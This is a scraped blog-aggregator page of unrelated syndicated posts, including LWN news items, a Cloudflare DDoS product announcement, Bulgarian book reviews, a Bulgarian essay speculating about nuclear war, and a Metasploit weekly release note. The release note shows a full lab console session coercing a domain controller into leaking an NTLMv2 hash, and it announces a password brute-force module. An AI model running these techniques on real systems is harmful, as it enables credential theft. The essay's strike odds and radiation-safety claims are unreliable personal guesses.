Blayze Stefaniak is a Senior Solutions Architect for the Technical Strategist Program supporting Executive Customer Programs in AWS Marketing. He has experience working across industries including healthcare, automotive, and public sector. He is passionate about breaking down complex situations into something practical and actionable. In his spare time, you can find Blayze listening to Star Wars audiobooks, trying to make his dogs laugh, and probably talking on mute.

Daniel Tatarkin is a Solutions Architect at Amazon Web Services (AWS) supporting Federal Financial organizations. He is passionate about big data analytics and serverless technologies. Outside of work, he enjoys learning about personal finance, coffee, and trying out new programming languages for fun.

Matt Boyd is a Senior Solutions Architect at AWS working with federal financial organizations. He is passionate about effective cloud management and governance, as well as data governance strategies. When he’s not working, he enjoys running, weight lifting, and teaching his elementary-age son ethical hacking skills.

Calibre 6.0 released

Post Syndicated from original https://lwn.net/Articles/900674/

Version 6.0 of the
calibre ebook management system is out.

It has been a year and a half since calibre 5.0. The headline
feature is Full text search, calibre can now optionally index all
the books in your library so you can search your entire library for
a word or phrase.

Other changes introduced since 5.0 include 64-bit Arm support, the removal
of 32-bit support, and an update to Qt 6.

Ronacher: Congratulations: We Now Have Opinions on Your Open Source Contributions

Post Syndicated from original https://lwn.net/Articles/900671/

On his blog, Armin Ronacher comments about a recent security key giveaway by the Python Package Index (PyPI) to provide two-factor authentication (2FA) tokens to the maintainers of the “critical” projects on the index. While (eventually) requiring maintainers to use 2FA before being able to update PyPI packages is reasonable, Ronacher worries about where the idea might lead:

Instead of putting the burden to the user of packages, we’re now piling stuff onto the developer who already puts their own labor and time into it. From the index’ point of view there is a benefit to not enforce rules on everybody as some of these rules might make the use of the index burdensome, but putting the burden only on critical packages does not hurt the adoption just as much. As mentioned earlier I would not make the case that 2FA is not burdensome, it’s a sensible thing. But clearly the index considers it burdensome enough to not enforce it for everybody. More importantly though is what could come next.

There is a hypothetical future where the rules tighten. One could imagine that an index would like to enforce cryptographic signing of newly released packages. Or the index wants to enable reclaiming of critical packages if the author does not respond or do bad things with the package. For instance a critical package being unpublished is a problem for the ecosystem. One could imagine a situation where in that case the Index maintainers take over the record of that package on the index to undo the damage. Likewise it’s more than imaginable that an index of the future will require packages to enforce a minimum standard for critical packages such as a certain SLO for responding to critical incoming requests (security, trademark laws etc.).

Security updates for Monday

Post Syndicated from original https://lwn.net/Articles/900670/

Security updates have been issued by Debian (php7.4), Fedora (gerbv, kernel, openssl, and podman-tui), Oracle (squid:4), Slackware (wavpack), and SUSE (apache2, chafa, containerd, docker and runc, fwupd, fwupdate, libqt5-qtwebengine, oracleasm, and python).

Introducing Location-Aware DDoS Protection

Post Syndicated from Omer Yoachimik original https://blog.cloudflare.com/location-aware-ddos-protection/

Introducing Location-Aware DDoS Protection

Introducing Location-Aware DDoS Protection

We’re thrilled to introduce Cloudflare’s Location-Aware DDoS Protection.

Distributed Denial of Service (DDoS) attacks are cyber attacks that aim to make your Internet property unavailable by flooding it with more traffic than it can handle. For this reason, attackers usually aim to generate as much attack traffic as they can — from as many locations as they can. With Location-Aware DDoS Protection, we take this distributed characteristic of the attack, that is thought of being advantageous for the attacker, and turn it on its back — making it into a disadvantage.

Location-Aware DDoS Protection is now available in beta for Cloudflare Enterprise customers that are subscribed to the Advanced DDoS service.

Introducing Location-Aware DDoS Protection

Distributed attacks lose their edge

Cloudflare’s Location-Aware DDoS Protection takes the attacker’s advantage and uses it against them. By learning where your traffic comes from, the system becomes location-aware and constantly asks “Does it make sense for your website?” when seeing new traffic.

For example, if you operate an e-commerce website that mostly serves the German consumer, then most of your traffic would most likely originate from within Germany, some from neighboring European countries, and a decreasing amount as we expand globally to other countries and geographies. If sudden spikes of traffic arrive from unexpected locations outside your main geographies, the system will flag and mitigate the unwanted traffic.

Location-Aware DDoS Protection also leverages Cloudflare’s Machine Learning models to identify traffic that is likely automated. This is used as an additional signal to provide more accurate protection.

Enabling Location-Aware Protection

Enterprise customers subscribed to the Advanced DDoS service can customize and enable the Location-Aware DDoS Protection system. By default, the system will only show what it thinks is suspicious traffic based on your last 7-day P95 rates, bucketed by client country and region (recalculated every 24 hours).

Customers can view what the system flagged in the Security Overview dashboard.

Introducing Location-Aware DDoS Protection

Location-Aware DDoS Protection is exposed to customers as a new HTTP DDoS Managed rule within the existing ruleset. To enable it, change the action to Managed Challenge or Block. Customers can adjust its sensitivity level to define how much tolerance you permit for traffic that deviates from your observed geographies. The lower the sensitivity, the higher the tolerance.

Introducing Location-Aware DDoS Protection

To learn how to view flagged traffic and how to configure the Location-Aware DDoS Protection, visit our developer docs site.

Making the impact of DDoS attacks a thing of the past

Our mission at Cloudflare is to help build a better Internet. The DDoS Protection team’s vision is derived from this mission: our goal is to make the impact of DDoS attacks a thing of the past. Location-aware protection is only the first step to making Cloudflare’s DDoS protection even more intelligent, sophisticated, and tailored to individual needs.

Not using Cloudflare yet? Start now with our Free and Pro plans to protect your websites, or contact us to learn more about the Enterprise Advanced DDoS Protection package.

Nigerian Prison Break

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2022/07/nigerian-prison-break.html

There was a massive prison break in Abuja, Nigeria:

Armed with bombs, Rocket Propelled Grenade (RPGs) and General Purpose Machine Guns (GPMG), the attackers, who arrived at about 10:05 p.m. local time, gained access through the back of the prison, using dynamites to destroy the heavily fortified facility, freeing 600 out of the prison’s 994 inmates, according to the country’s defense minister, Bashir Magashi….

What’s interesting to me is how the defenders got the threat model wrong. That attack isn’t normally associated with a prison break; it sounds more like a military action in a civil war.

Kernel prepatch 5.19-rc6

Post Syndicated from original https://lwn.net/Articles/900628/

The 5.19-rc6 kernel prepatch is out for
testing.

Perhaps somewhat unusually, I picked up a few fixes that were
pending in trees that haven’t actually hit upstream yet. It’s
already rc6, and I wanted to close out a few of the regression
reports and not have to wait for another (possibly last, knock
wood) rc to have them in the tree.

По буквите: Данте, Кънева, Хус

Post Syndicated from Зорница Христова original https://toest.bg/po-bukvite-dante-kaneva-goes/

В емблематичната си колонка, започната още през 2008 г. във в-к „Култура“, Марин Бодаков ни представяше нови литературни заглавия и питаше с какво точно тези книги ни променят. Вярваме, че е важно тази рубрика да продължи. От човек до човек, с нова книга в ръка.

„Ад“ от Данте Алигиери

поетичен превод Кирил Кадийски, предговор и бележки Клео Протохристова, София: изд. „Колибри“, 2022

„Данте беше анданте. Ние сме престо.“ Поне така пише Гео Милев в своя „Ад“; естествено, не за да омаловажи един от стълбовете на световната литература, а за да пусне представата ни за днешния ужас на забързан каданс. През 2021 г. се честваха 700 години от смъртта на големия италиански поет – доволно голям срок, за да може едно литературно произведение да загуби съвременното си звучене. Освен ако това не се случи.

Няма да обяснявам какво в „Божествена комедия“ прави поемата толкова важна, нито каква е връзката ѝ със съвременността; това не е моя работа, ако и да е примамлива; не и тук. Пък и няма кого да убеждавам – българските издания на Данте изобилстват, като почнем от превода на Константин Величков от 1906-та, минем през Крум Пенев, Иван Иванов, Любен Любенов, Кирил Христов, Христина Стоянова, та до миналогодишното преиздание в каталога на изд. „Кръг“. Не липсва и специално старание поемата да бъде част от формативния опит на младите – и в стари издания, като „Ад. Поема, приспособена за младежта“ на Моско Москов, и в преразказа за юноши, дело на Николай Лилиев. Днес също най-масовите му читатели са 14-годишните – тези, за които Данте е част от задължителната литература за осми клас.

Нормата в българските версии на „Ад“ е преводът на Константин Величков, най-малкото ако съдим по многото му преиздания. Изданието на „Кръг“ също е по неговия превод. Действително тази версия има много достойнства. „Божествена комедия“ е изключително трудна за музикално пресъздаване – написана е в terza rima, тоест разделена е на тристишия (терцети), при които са римувани първият и третият стих. Вторият стих обаче се римува с първия и третия стих на следващото тристишие, чийто среден стих пък се повтаря в по-следващото (aba bcb cdc…) Тази строга римна схема дава устрема на цялата поема, поема читателя и го носи през сюжета, подпомагана от ритъма. Данте я е измислил специално за „Божествена комедия“.

Разбира се, това, което помага на читателя, спъва работата на преводача. Още повече че малко езици са толкова богати на рими като италианския. Затова в някои английски преводи (например на Киарди) изобщо се отказват да спазват схемата и римуват само първия и третия стих на всеки терцет. Други, като Пински, решават да дадат по-свободна дефиниция на понятието за рима.

Преводът на Константин Величков успява да съхрани музиката на оригинала – и римната схема, и ритъма. Той обаче го прави според литературната норма на своето време – за която може да съдим по издаваната тогава Вазова поезия. Ако ѝ се доверим, става позволено в поезията да се сменя ударението на разни думи, а завършващите на „ие“ при нужда да завършват на „ье“ – „смущенье“, „смиренье“ и т.н.

Тази норма днес се е изменила, макар все още да ни е позната. Мога да си представя чудесния превод на Величков, четен на глас. Проблемът е, че чувам интонациите на Константин Кисимов, рецитиращ „Опълченците на Шипка“.

Не че италианците не четат Данте в оригиналния му, неосъвременен вариант, и не само го четат, ами и го цитират. Само че това е историята на техния език; както „О, неразумний и юроде“ би звучало смешно в превод на архаичен френски, да речем. Преводът не може да си позволи такава маркировка. Той трябва да бъде близо до обикновената реч, на моменти дори брутален и все пак изпълнен с gravitas и осезаемо красноречие.

Мисля, че като цяло преводът на Кирил Кадийски изпълнява майсторски тази задача. Преди всичко той е безкомпромисен по отношение на формата – спокойно може да го четете на глас, ако искате да увлечете слушател (от въпросните 14-годишни например) и да изпитате удоволствие от езика. Римната схема е точна, без усещане за принуда, ритъмът е спазен; това се отнася и за регистъра, което също е огромен принос на Кадийски – съвременен, но безусловно литературен език. Тук-там проблясват отклонения, но те са по-скоро лексикални – няколко архаизми като „юдол“ и „раздол“, които преводачът оправдава като сложени нарочно, за да маркират старинността на текста, и изненадващото „монстър“ за чудовище („преминахме край монстъра зловещ“), което пък звучи извадено от лексиката на средношколците. Другаде се усещат леки повторения („и зъл, пазачът зъл…“), но само добре запознатите с оригинала биха могли да кажат доколко те са привнесени.

Общото впечатление обаче е за осезаемо удоволствие от възможностите на съвременния български език. И те не спират само до римата и ритъма. Вижте например фонетичната игра тук:

Но зърнах лъв и пак ме лъх студен
скова! Ах, тази паст свирепа, гладна,
разчекната зловещо срещу мен…

Особено приятно се усеща това в прочутите Дантеви сравнения, когато насред Ада личи любовта към живота:

Тъй вихри вият и ломят клонака
на мрачните столетни лесове,
и всичко тича, крие се, не чака – 

пастири и стада, и зверове,
и прах кълби се и след тях се мята,
и все по-силно вятърът реве…

Или пък когато описва как напрягал очи като шивач, който се опитвал да вдене иглата в привечерния мрак.

Удоволствието на читателя е обгрижено и от решението различните препратки да не са обяснени под линия, а изведени в нещо като резюмета пред всяка глава, майсторски написани от Клео Протохристова. Неин, прочее, е и отличният предговор, който дава достатъчен контекст на всеки, който би имал нужда от него.

Доколкото ми е известно, тази версия на „Ад“ е правена въз основа на множество български издания плюс богато анотирано италианско издание. Може би това мотивира и формулировката „претворил“ вместо „превел“ на корицата. Така или иначе, книгата демонстрира безспорния талант на преводача, който прави още по-видим гения на автора, и за мен е удоволствие да я имам. Преди всичко за себе си, но и за да покажа след някоя и друга година на бъдещата осмокласничка, че не е задължително задължителната литература да тежи.

„От хартия“ от Капка Кънева

подзаглавие „Изобразителни възможности на пластичния хартиен обект в илюстрацията и дизайна на книги“, самиздат, 2022

Познавам работата на Капка Кънева от поне петнайсет години и винаги ме е удивлявало в нея усещането за движение, за процес.

По принцип движението е неразделна част от поп-ъп книгите – онези издания, при които при разтваряне на страниците измежду тях „изскача“ триизмерна илюстрация, или може би трябва да кажа „хартиена скулптура“. Това изкуство е познато и в популярния си вариант, да стане книгата още по-пищна и привлекателна (особено в луксозните издания за деца, като тези на Робърт Сабуда), в дантелените плетеници на Ян Пиенковски и в изчистения, търсещ подход на Кацуми Комагата. Тези художници са се превърнали в живи легенди и срещата с тяхната работа ме вълнува дълбоко.

Познавам ги, разбира се, благодарение на Капка Кънева и нейните изследвания в областта на „хартиеното инженерство“.

В България обаче поп-ъп книги се правят изключително рядко и изключително трудно. Те изискват огромна инвестиция от страна на издателството (щанци, ръчно сглобяване и слепване, и т.н.), които може да се оправдаят единствено с гигантски тиражи. А мащабът ни е просто малък. Затова у нас такива книги са по правило преводни, и то „съиздания“ – печатани накуп на няколко езика, включително и български, но с обща инвестиция за няколко страни. Как тогава може един художник със страст по това изкуство да намери изява тук?

Капка Кънева е намерила свой визуален език, който съчетава хартиеното инженерство и фотографията. Тя изработва своите модели, а след това ги заснема и обработва фотографиите, за да ги използва като корици, илюстрации и др. В това на практика е близка до различни форми на съвременното изкуство, в които нещо се случва на живо – като в пърформанса, хепънинга, лендарта, да ми прости читателят чуждиците. Фотографираните скулптури на Кънева оставят това усещане за движение. Първо, в тях е видим процесът на създаване – не са излишно „неръкотворни“, а показват ясно линията на изрязване, линията на прегъване, играта и удоволствието в тяхната направа. Те са по правило обобщени и почти никога прекалено „наместени“ в някакъв класически баланс. Композирани са така, че да внушат продължаващо движение, а не статика. Да не говорим, че самите изображения често са на неща, които се движат – ръцете на Дон Кихот, размахани като вятърна мелница, литнала завеска, механична балеринка, многорък архитект, вятър в клонак и т.н.



Освен това Капка включва и втори главен играч – светлината. Тя пък е нещо още по-нетрайно от хартията; обичайно светлосенките се сменят с всяко мръдване на ръката, с всяко преминаващо пред слънцето облаче. Класическите поп-ъп книги не могат да контролират този процес – на каквото осветление ги види читателят, това ще е. Но снимките могат. Като избира светлината за втори основен елемент в работата си, Капка Кънева подсилва усещането за мимолетност, за „стопкадър“ от нещо, което не може да спре. Последната ѝ изложба е посветена именно на сенките в хартиените скулптури (на тях е посветена и последната част на книгата), но всъщност сенките и светлините са част от всяко изображение, част от самия метод. Те не само подчертават хартиената скулптура, но и влизат в диалог с нея – като в кориците на „Горещо мляко“ на Дебора Леви или „Есенен Великден“ на Петър Чухов.

Повечето от тези произведения може да се видят по кориците и илюстрациите на книгите, за които са правени. Други са хартиени скулптури, създадени сами за себе си – може да сте ги видели, ако случайно е имало изложба във вашия град. Имам особена слабост към тези от серията „Анатомия на любовта“. Но изложбите по принцип пътуват по-трудно от книгите, а и са краткотрайни – така че е много важно и тези неща да бъдат запечатани и споделени. И изобщо – радвам се, че я има тази книга, та освен удоволствие да дава и кураж на онези, които се колебаят дали да се примирят. Да се примирят, че някои неща просто не са възможни у нас. Питайте Капка.

„Хроники. Наука и технологии“ от Петер Хус

превод от нидерландски Анета Данчева-Манолова, София: изд. „Таймлайнс“, 2021

„Историческите“ спорове с Македония имат своите политически тълкувания; не се наемам да ги коментирам, защото не ги познавам достатъчно. Те обаче са интересна илюстрация на нещо, което познавам – и ми се струва важно за обсъждане не само в семейството, а и в клас.

А именно: във всеки момент се случват страшно много неща.

Една малка част от тях влизат в новините. В различните медии ще влязат различни новини. После малка част от новините в медиите ще влязат в историческия разказ – какво се е случило през десетилетията, вековете и т.н. А може да има и различни исторически разкази – например семейният разказ за последните десетилетия ще е един, ако прадядото е бил тютюнотърговец, друг – ако е бил партизанин, трети – ако е бил концлагерист, и пр. Има и официален исторически разказ – този, дето го възприема държавата. Той е в учебниците. Но различните държави имат различни разкази, също като различните семейства.

А какво става, когато се опитаме да свържем отделните разкази за историята в един съвсем общ, световен разказ? Трудна задача. Особено ако се стараеш някак да сдобриш и свържеш различните гледни точки. Аз например съм свикнала с европоцентричната история – нали знаете, нещата са горе-долу балансирани до Древна Гърция и Рим, оттам нататък разказваме историята на Европа, докато не дойде време да завладява и „цивилизова“ останалия свят. Историята на технологиите също се разказва горе-долу така.

Поредицата „Хроники“ на Петер Хус обаче има по-мащабна цел. В нея са вплетени нишките на различните цивилизации, които се преплитат, свързват, натягат, но като цяло образуват общ поток. Например книгата, посветена на науката и технологиите, разказва за Месопотамия, но и за цивилизацията Норте Чико, за Индската цивилизация, за китайските династии, за Византия, за халифата на Абасидите, за Ранното и Развито Средновековие… докато стигнем и до по-познати води.

Обилната информация обаче е включена по начин, който оставя ясен нàглед кое след кое е и как се връзва с предишното – „линията на времето“ тук е пълноводна река, която минава през всеки разтвор на големия формат и всички илюстрации са органично вплетени в нея. Графичното решение създава усещане за двуцветност – един основен цвят на фона, черни контурни изображения (само реката винаги е в плътно черно); чак при вглеждане виждаш, че отделни елементи са в допълнителни цветове. Тук-там са вмъкнати и закачки, и почти анимационни ситуации, които оживяват разказа и го правят човешки.


Много полезна книга, ако имате наблизо дете, което все още не може да подреди дати и факти в главата си; но полезна и за възрастните, които усещат получената в училище представа за „нишката“ на историята малко възтънка. И са готови да посмирят чувството си за превъзходство, включително спрямо древните хора.

Заглавно изображение: Колаж от кориците на книгите и снимка на Annie Spratt / Unsplash

Източник

Мрачни размисли

Post Syndicated from original http://www.gatchev.info/blog/?p=2464

Обикновено пиша за неща, за които знам достатъчно.

Този път не е така. Много от нещата няма как да ги знам. Някои вероятно никой няма как да ги знае. Но предположенията, които здравият разум прави около тях, не ми харесват.

Затова реших да ги споделя. Без претенции, че са абсолютна истина и с гаранция ще стане точно така. Просто разказвам какво ми изглежда потенциално възможно.

За войната

Войната в Украйна включва едно сериозно противоречие. Русия не може да си позволи да я изгуби – сегашната руска доктрина е имперски военен експанзионизъм на по същество нацистка основа, отстъплението или спирането (освен за довъоръжаване) е за него смъртта му като такъв. Западът пък не може да си позволи да остави Русия да я спечели – би повторил грешката, която направи срещу Хитлер в началото на Втората световна война. Това противоречие определя развитието на нещата там.

Предполагам, че в момента енергично се търси негово решение. Вариант, поне малко приемлив и за двете страни. Много се надявам да бъде, или дори вече да е намерен. Но на мен не ми е известен и не ми хрумва такъв. А е глупаво да предполагам на базата на неща, които не знам. Така че разглеждам варианта, при който такова решение не е намерено.

Вече е ясно, че руската армия превъзхожда украинската в само едно – в тежка и дългобойна артилерия. Но затова пък десетократно. Да, решаващо е, ако противниковите градове бъдат изравнявани със земята без грижа за цивилните жертви и разрушенията, и Русия прави точно това. Но получи ли украинската армия достатъчно тежка и дългобойна артилерия, може да спечели дуела с руската. И Западът има ресурсите да ѝ достави повече от достатъчно, ако реши.

Защо бави доставката? Според мен изчаква. Руската армия напредва благодарение на колосален разход на оръжие и муниции. Дневно изстрелва по около 50 000 снаряда, а руските заводи не могат да произведат за ден и 10 000, дори извън санкции като сегашните. Изведени са от строя около 1000 танка, а Уралвагонзавод – заводът, в който се произвеждат руските танкове – на практика е спрял работа заради санкциите. Унищожените модерни танкове Т-72 и Т-80 вече се заместват с изкарани от резерва стари Т-62. От високоточните оръжия вече са останали почти само противокорабни ракети, нали Украйна реално няма флот, по който да се изстрелват.

Така че вероятно до максимум 2-3 месеца Русия ще е близо до изчерпване на ключови видове въоръжение и муниции. Хора може да мобилизира милиони, но с какво ще ги въоръжи? Тогава сериозно попълнение от далекобойни оръжия за украинската армия ще бъде навреме и на място. Ще ѝ даде възможност да обърне хода на войната, да превземе изгубените територии и да изблъска руската армия от Украйна.

Какво обаче следва? Русия е реално феодална държава, маскирана отгоре-отгоре като псевдокапиталистическа. Цар в нея е най-силният. Изблъска ли украинската армия руската от повечето от превзетите територии, Путин ще се е показал като слабак. Вече на върха няма да има място за него. А начинът за смяна на лидер в днешна Русия е един – ковчег.

(Да, Путин старателно е разчистил от върховете всички, които не са безлични и потенциално биха могли да го заменят. Войната обаче променя това. Некадърникът Шойгу беше заменен начело на войната с доказалия ефективността си „касапин на Алепо“ Бортников. А когато и той показа нежелание да избива нови и нови десетки хиляди цивилни братя по славянство, също беше изритан без колебание. На негово място Путин постави Суровкин – психопат от подтипа на Лаврентий Берия. Продължаването на тази война прави поставянето на особено крайни психопати начело на руската армия по-важно от потенциалната опасност от тях за трона на Путин. Така че помнете фамилията на този генерал – не е изключено да я чуваме за в бъдеще по-често.)

Затова за Путин победата в Украйна е въпрос на физическо оцеляване. А антисоциалните психопати като него са способни за личното си оцеляване на абсолютно всичко. Ако единственото, което им е останало, е ядреното оръжие, ще го употребят без никакво колебание. Самата идея, че избитите от него хора имат някакво значение, им е непонятна по начало, по биологични причини.

Тогава Западът ще е пред избор. Не отговори ли с ултиматум, ще изгуби влиянието си в света, включително способността си да поддържа мир за себе си. Не може да си го позволи – ще трябва да отговори с ултиматум. А това означава Трета световна. Ядрена… И най-лошото е, че затвори ли си очите, войната пак ще го настигне. Точно както Чърчил каза за Невил Чембърлейн, „който избира безчестието пред войната, получава не само безчестието, но и войната“.

Такава война ще е страшна, но няма да е смъртта на света. Руското ядрено оръжие е на същото дередже, както и неядреното. Вероятно под една четвърт от него ще успее реално да порази целите си. С толкова Западът не може да бъде унищожен. Нито дори отслабен до степен да не може да смаже изхабилата конвенционалните си оръжия Русия. А изгуби ли няколко десетки милиона население и десетки ключови градове, Западът вече няма да може да си позволи никаква милост към Русия. Политици, които агитират за милост, ще бъдат разкъсани на парчета от близките на жертвите. Нюрнбергски процес срещу руските лидери ще е по-неотвратим и от изгрева на Слънцето. Пълно разоръжаване на Русия, забрана да има армия, вероятно дори разделяне на малки и слаби държавици – вероятно също.

Има ли Русия изход?

Има ли при това положение Русия някаква тактика, която да ѝ дава надежда да спечели? Доколкото познавам начина на мислене на руското ръководство – да. А именно: Русия да си избере една държава от НАТО и да я унищожи с ядрено оръжие. С надеждата това да уплаши народите на натовските страни и те да принудят политиците си да се откажат от смазването на Русия.

Необходимите условия са:

  • ударът да е неочакван, за да не успее НАТО да се подготви да го отрази
  • да унищожи градове с поне 50% от населението на държавата (тоест да е достатъчно малка)
  • да е източноевропейска – към такива големите в НАТО имат по-малко симпатии и обвързаност

Това ограничава списъка на потенциалните жертви до четири – трите прибалтийски републики и България. Познайте коя от тези страни не е на стотина километра от Санкт Петербург, от посока, от която ветровете най-вероятно ще довеят ядрения облак точно към него. (И е прът в колелата на лъжата, че Русия е историческата майчица на славяните, дарила им държавност, християнство, език, азбука и прочее.)

Разбира се, това няма да спре НАТО – напротив, ще му докаже много нагледно, че ако Русия не бъде ликвидирана като военна сила, това значи атомни бомбардировки и над другите държави от НАТО. Включително над най-големите и влиятелни. И Путин вероятно се досеща, че това е възможно, но към този момент вече няма да има какво да губи. След лъжите за Украйна Западът няма как да му вярва повече, и той го знае.

Какъв е изводът? Ако Русия употреби ядрено оръжие в Украйна, внимавайте в ситуацията. Не е изключено да е разумно при ескалация дори да се евакуирате по-надалече от големи градове. 20 километра разстояние би трябвало да ви предпази достатъчно дори от най-тежките ядрени бомби – освен ако някоя не падне поради неточност върху мястото, където сте.

Ами ние с гайдите?

Гарантирано ли е, че изобщо развитието на войната ще поеме в тази посока? Категорично не. Политиците знаят много повече от мен – струва ми се най-вероятно да измислят някакъв начин за взаимен компромис. По-скоро се боя, че този компромис може да остави на Русия някаква печалба от войната – това на практика гарантира, че тя ще я продължи при първа възможност. И ще се задоволи само с Украйна, дори цяла, колкото Хитлер се задоволи само с Полша. Познайте кои ще са следващите. И на какво ще заприличат българските градове в такъв случай… Но това е вече друга тема.

Дори да се стигне до именно това развитие, гарантирано ли е, че ще ни ударят? Не. Изцяло на „усет“ бих казал, че в този случай шансът ще е между 5 и 10%. Което значи, че с вероятност 90-95% само ще станете за смях с евакуиране. Но според мен мъдрият човек предпочита десет пъти да му се смеят, отколкото веднъж да умре.

Ако ни ударят, гарантирано ли е, че „сички ша омрем от радиацието“? Не. Съвременните ядрени бомби се взривяват на километри височина, за максимално поразяване от ударната вълна. При такъв взрив има начално облъчване, но от 20 километра няма да ви убие, нито моментално, нито за месец или година. А вторичната радиация от дългоживеещи радионуклиди е на практика пренебрежима.

Колко време ще трае такова положение? Надали има как да продължи повече от две-три седмици. Напълно е възможно да се намери някакво решение още през първата седмица. Така че е малко вероятно да се наложи да отсъствате с месеци.

Сума сумарум

Повтарям: не зная достатъчно, за да преценя колко са вероятни тези неща. Просто споделям какво е принципно възможно да се случи.

(Ако някой смята да обяснява как Русия за нищо на света няма да постъпи така, нека не се хаби. Тя за нищо на света нямаше и да атакува Украйна, и т.н. Ако не може да се удържи да не пише глупости, с удоволствие ще му помогна, с блокиране. Не се ли ограничава екстремният идиотизъм, не ни чака добро бъдеще.)

Metasploit Weekly Wrap-Up

Post Syndicated from Dean Welch original https://blog.rapid7.com/2022/07/08/metasploit-weekly-wrap-up-165/

DFSCoerce – Distributing more than just files

Metasploit Weekly Wrap-Up

DFS (Distributed File System) is now distributing Net-NTLM credentials thanks to Spencer McIntyre with a new auxiliary/scanner/dcerpc/dfscoerce module that is similar to PetitPotam in how it functions. Note that unlike PetitPotam, this technique does require a normal domain user’s credentials to work.

The following shows the workflow for targeting a 64-bit Windows Server 2019 domain controller. Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine account:

msf6 > use auxiliary/server/capture/smb 
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/smb) > 
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce 
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/dcerpc/dfscoerce) > run
[*] 192.168.159.96:445    - Connecting to Distributed File System (DFS) Namespace Management Protocol
[*] 192.168.159.96:445    - Binding to \netdfs...
[+] 192.168.159.96:445    - Bound to \netdfs
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 192.168.250.237
[SMB] NTLMv2-SSP Username   : MSFLAB\WIN-3MSP8K2LCGC$
[SMB] NTLMv2-SSP Hash       : WIN-3MSP8K2LCGC$::MSFLAB:971293df35be0d1c:804d2d329912e92a442698d0c6c94f08:01010000000000000088afa3c78cd801bc3c7ed684c95125000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f0055005000070008000088afa3c78cd80106000400020000000800300030000000000000000000000000400000f0ba0ee40cb1f6efed7ad8606610712042fbfffb837f66d85a2dfc3aa03019b00a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000
[+] 192.168.159.96:445    - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
[*] 192.168.159.96:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/dfscoerce) >

FreeSwitch Brute Force Login

A returning contributor krastanoel has brought us a module for brute forcing the login credential for the FreeSWITCH event socket service.
This is even simpler to use than our usual login scanner modules since there’s no need to determine or brute force a username — only the password is required!

New module content (2)

  • DFSCoerce by Spencer McIntyre, Wh04m1001, and xct_de – This adds a scanner module that implements the dfscoerce technique. Although this technique leverages MS-DFSNM methods, this module works similarly to PetitPotam in that it coerces authentication attempts to other machines over SMB. This ability to coerce authentication attempts makes it particularly useful in NTLM relay attacks.
  • FreeSWITCH Event Socket Login by krastanoel – This adds an auxiliary scanner module that brute forces the FreeSwitch’s event socket service login interface to guess the password.

Enhancements and features (1)

  • #16716 from bcoles – This updates HTTP Command stagers to expose the CMDSTAGER::URIPATH option, so users can choose where to host the payload when using a command stager.

Bugs fixed (3)

  • #16704 from gwillcox-r7 – This fixes an issue when targeting some faulty memcached servers that return an error when extracting the keys and values stored in slabs. The module no longer errors out with a type conversion error.
  • #16724 from bcoles – This updates and fixes the exploit/windows/iis/ms01_026_dbldecode module. It now uses the standard HttpClient, the TFTP stager has been fixed, and Meterpreter specific code has been removed since Meterpreter is not available on Server 2000 systems since Metasploit v6.
  • #16731 from space-r7 – Fixes a logic bug in the process API that would cause additional permissions to be requested than what was intended.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

The collective thoughts of the interwebz